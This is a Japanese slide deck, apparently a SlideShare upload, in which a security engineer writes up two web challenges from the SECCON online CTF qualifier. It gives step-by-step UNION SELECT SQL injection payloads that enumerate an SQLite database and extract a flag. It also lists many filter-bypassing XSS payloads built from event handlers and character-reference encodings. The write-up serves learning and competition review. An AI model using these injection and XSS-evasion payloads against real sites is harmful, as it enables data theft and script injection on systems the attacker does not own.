SlideShare a Scribd company logo
1 of 14
Download to read offline
オンライン予選
自己紹介
 セキュリティエンジニアやってます。
 脆弱性診断業務を担当しており、専門はWebセキュリティ
です。
 SECCONオンライン予選にはチーム「vuls」で参加していま
した。
TwitterID: tigerszk
今回は参加して非常に楽しかったので、自分の解いたWebの問題について忘
れない内にWrite UPを書きました。
箱庭SQLi
なんとSQLiも箱庭に!
検索画面におけるSQLiの脆弱性がテーマの問題
Web 100点の問題
そりゃね
当たり前だけどそりゃインジェクションはできます。
やったこと
もうやることはインジェクションでデータぶっこ抜くしかないよねって
ことで、早速夢が広がるUNION SELECTを使うことにする。
 カラム数の特定
order byかまして6だとエラーになったので、select文のカラム数は5と特定
' order by 6;--
 UNION SELECTを実行
とりあえずUNION SELECTできることを確認
' UNION ALL SELECT null,null,null,null,null;--
 DBの特定
以下のSQL文が通ったのでデータベースが「SQLLite」だと特定
' UNION ALL SELECT null,null,null,null,null FROM sqlite_master;--
 テーブル名の一覧を取得
UNION SELECTで「sqlite_master」テーブルからテーブル名をGET!
' UNION ALL SELECT null,name,null,null,null FROM sqlite_master order by name;--
このDBでは以下のテーブルが存在していることがわかった
SECCON
COMPANY
sqlite_autoindex_COMPANY_1
とりあえず解けて良かった
見るからに「SECCON」ってテーブルが怪しいし、カラムは「flag」かなと思っ
て適当に
以下のSQL文を実行したらflagをGET!やったね
' UNION ALL SELECT null,flag,null,null,null FROM SECCON;--
箱庭XSSリターンズ
ご存知今回もでてきた箱庭XSS
ひたすらXSSを発生させてアラートを上げていく問題
Web 300点の問題
スゲーいじわる
例えば「 “><script>alert(‘XSS’)</script> 」を入力するとこうなる。
入力した文字の内容に応じて弾かれる文字が増えていく鬼畜仕様となっている。
どんどん使えなくなる文字列が増えるので、入力する順番を考える必要がある。
おまけに
上のバーに注目すると、Stage2であの程度の増加分なので、天竺並みの果てし
ない道のりであることがわかり、若干ていうかかなり心が折れそうになる。
※ちなみに結局全部で20ステージもあった。
今回は完全敗北
頑張ったんだけど時間内では、15問目が限界でした。今回は勝てなかった。。。
【僕が挿入した文字列】
"onKeyDown="document.write('<x73cript>x61lert(x22XSSx22)</x73cript>')"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00041;"
"onMouseLeave="&#0097;&#00108;&#00101;&#00114;&#00116;&#0040;&#0039;&#0088;&#0083;&#0083;&#0039;&#0041;"
"onMouseOut="&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;"
"onMouseMove="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;"
"onFocusOut="&#x000061;&#x00006c;&#x000065;&#x000072;&#x000074;&#x000028;&#x000027;&#x000058;&#x000053;&#x000053;&#x000027;&#x000029;"
"onclick="&#x00061;&#x0006c;&#x00065;&#x00072;&#x00074;&#x00028;&#x00027;&#x00058;&#x00053;&#x00053;&#x00027;&#x00029;"
"onFocus="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;&#x0053;&#x0053;&#x0027;&#x0029;"
"onMouseWheel="&#x061;&#x06c;&#x065;&#x072;&#x074;&#x028;&#x027;&#x058;&#x053;&#x053;&#x027;&#x029;"
"onMouseUp="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;"
"onmouseover="alert(decodeURI(decodeURI(/%58%53%53/.source)))"
"><script>eval('u0061u006cu0065u0072u0074u0028u0027u0058u0053u0053u0027u0029');</script>
"onKeyPress="/127641/['constructor']['constructor']('al'+'ert'+'('+'''+'XSS'+'''+')')()
"onSelectStart="/123441/['cons'+'truc'+'tor']['cons'+'truc'+'tor']('a'+'l'+'e'+'r'+'t'+'('+'''+'XS'+'S'+'''+')')()
先頭文字のみを数値文字参照とかすると、ブラックリストになる文字列が、数
値文字参照を含んだ結構まとまった文字列になることに、残り30分くらいに気
づいたorz…時すでに遅し。
例えば「“onmouseover=”&#97lert(‘&#x58SS’)“」とかいれるとフィルタされるの
は
「onmouseover」、「97lert」、「x58SS」となるみたい。
これだったらイベントハンドラ使いまくればもっとイケそうじゃんと思った時
にはタイムアップ。
途中でご褒美が
6問解いた時点でご褒美をいただいた。
運営の方の暖かさを感じた瞬間である。マジで泣きそうになった。
お家に帰ってから復習しました
箱庭だからお家でも続きができたので、頑張ってクリアしました!
下記が僕が攻略した挿入文字列です。かなり力押しなので全然美しくない、、、
いやーイベントハンドラってホントに沢山ありますねw
"onKeyPress="u0077indow['u0061lert']('u0058SS')"
"onSelectStart="&#x00077indow['&#x00061lert']('&#x00058SS')"
"onblur="&#x0077indow['&#x0061lert']('&#x0058SS')"
"onmouseover="&#x077indow['&#x061lert']('&#x058SS')"
"onbeforepaste="&#000119indow['&#00097lert']('&#00088SS')"
"ondblclick="&#00119indow['&#0097lert']('&#0088SS')"
"oncopy="&#0119indow['&#097lert']('&#088SS')"
"onpaste="&#119indow['&#97lert']('&#88SS')"
"onKeyDown="document.write('<x73cript>x61lert(x22XSSx22)</x73cript>')"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00041;"
"onMouseLeave="&#0097;&#00108;&#00101;&#00114;&#00116;&#0040;&#0039;&#0088;&#0083;&#0083;&#0039;&#0041;"
"onMouseOut="&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;"
"onMouseMove="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;"
"onFocusOut="&#x000061;&#x00006c;&#x000065;&#x000072;&#x000074;&#x000028;&#x000027;&#x000058;&#x000053;&#x000053;&#x000027;&#x000029;"
"onclick="&#x00061;&#x0006c;&#x00065;&#x00072;&#x00074;&#x00028;&#x00027;&#x00058;&#x00053;&#x00053;&#x00027;&#x00029;"
"onFocus="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;&#x0053;&#x0053;&#x0027;&#x0029;"
"onMouseWheel="&#x061;&#x06c;&#x065;&#x072;&#x074;&#x028;&#x027;&#x058;&#x053;&#x053;&#x027;&#x029;"
"onMouseUp="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;"
"><script>alert('XSS')</script>
できれば見たかったなあ
全部を解くと最後にFLAGがGETできる。
できれば戦っている時に見たかった、、、
まとめ
俺のXSS力が足りないことが良くわかっ
た。
もっと修行が必要だorz...
SECCON運営の皆様、非常に楽しい時間でした。
有難うございました!

More Related Content

What's hot

情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライドKumasan, LLC.
 
Webセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてWebセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてYuichi Hattori
 
Proxy War EPISODEⅡ
Proxy War EPISODEⅡProxy War EPISODEⅡ
Proxy War EPISODEⅡzaki4649
 
Jenkins+Maven活用術
Jenkins+Maven活用術Jenkins+Maven活用術
Jenkins+Maven活用術cynipe cynipe
 
Selenium2でつくるテストケースの構成について
Selenium2でつくるテストケースの構成についてSelenium2でつくるテストケースの構成について
Selenium2でつくるテストケースの構成についてyufu yufu
 
Asakusa バッチの運用を支える技術
Asakusa バッチの運用を支える技術Asakusa バッチの運用を支える技術
Asakusa バッチの運用を支える技術KinebuchiTomo
 

What's hot (7)

情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド
 
Webセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習についてWebセキュリティの実践のための攻防戦演習について
Webセキュリティの実践のための攻防戦演習について
 
Proxy War EPISODEⅡ
Proxy War EPISODEⅡProxy War EPISODEⅡ
Proxy War EPISODEⅡ
 
Dependency Injection FAQ
Dependency Injection FAQDependency Injection FAQ
Dependency Injection FAQ
 
Jenkins+Maven活用術
Jenkins+Maven活用術Jenkins+Maven活用術
Jenkins+Maven活用術
 
Selenium2でつくるテストケースの構成について
Selenium2でつくるテストケースの構成についてSelenium2でつくるテストケースの構成について
Selenium2でつくるテストケースの構成について
 
Asakusa バッチの運用を支える技術
Asakusa バッチの運用を支える技術Asakusa バッチの運用を支える技術
Asakusa バッチの運用を支える技術
 

Viewers also liked

The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayabend_cve_9999_0001
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらabend_cve_9999_0001
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。abend_cve_9999_0001
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~abend_cve_9999_0001
 
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思うabend_cve_9999_0001
 
Cybozu.com security challengeに参加したよ
Cybozu.com  security challengeに参加したよCybozu.com  security challengeに参加したよ
Cybozu.com security challengeに参加したよabend_cve_9999_0001
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編abend_cve_9999_0001
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)abend_cve_9999_0001
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編abend_cve_9999_0001
 
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)abend_cve_9999_0001
 
最近のBurp Suiteについて調べてみた
最近のBurp Suiteについて調べてみた最近のBurp Suiteについて調べてみた
最近のBurp Suiteについて調べてみたzaki4649
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話zaki4649
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWSzaki4649
 
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!zaki4649
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"abend_cve_9999_0001
 

Viewers also liked (20)

Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
 
RuCTFEに参加したよ
RuCTFEに参加したよRuCTFEに参加したよ
RuCTFEに参加したよ
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
 
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
 
Not CVE-2013-xxxx
Not CVE-2013-xxxxNot CVE-2013-xxxx
Not CVE-2013-xxxx
 
Cybozu.com security challengeに参加したよ
Cybozu.com  security challengeに参加したよCybozu.com  security challengeに参加したよ
Cybozu.com security challengeに参加したよ
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
 
Nmapの真実
Nmapの真実Nmapの真実
Nmapの真実
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
 
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)
 
最近のBurp Suiteについて調べてみた
最近のBurp Suiteについて調べてみた最近のBurp Suiteについて調べてみた
最近のBurp Suiteについて調べてみた
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
 
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 

More from zaki4649

flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!zaki4649
 
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 zaki4649
 
最近のやられアプリを試してみた
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみたzaki4649
 
BurpSuiteの大変な一日
BurpSuiteの大変な一日BurpSuiteの大変な一日
BurpSuiteの大変な一日zaki4649
 
Bapp Storeを調べてみたよ!
Bapp Storeを調べてみたよ!Bapp Storeを調べてみたよ!
Bapp Storeを調べてみたよ!zaki4649
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-zaki4649
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
 
はじめてのWi-Fiクラック
はじめてのWi-FiクラックはじめてのWi-Fiクラック
はじめてのWi-Fiクラックzaki4649
 

More from zaki4649 (10)

flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!
 
PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点 PenTesterが知っている危ないAWS環境の共通点
PenTesterが知っている危ないAWS環境の共通点
 
最近のやられアプリを試してみた
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみた
 
BurpSuiteの大変な一日
BurpSuiteの大変な一日BurpSuiteの大変な一日
BurpSuiteの大変な一日
 
Bapp Storeを調べてみたよ!
Bapp Storeを調べてみたよ!Bapp Storeを調べてみたよ!
Bapp Storeを調べてみたよ!
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
 
Proxy War
Proxy WarProxy War
Proxy War
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
はじめてのWi-Fiクラック
はじめてのWi-FiクラックはじめてのWi-Fiクラック
はじめてのWi-Fiクラック
 

とある診断員のSECCONオンライン予選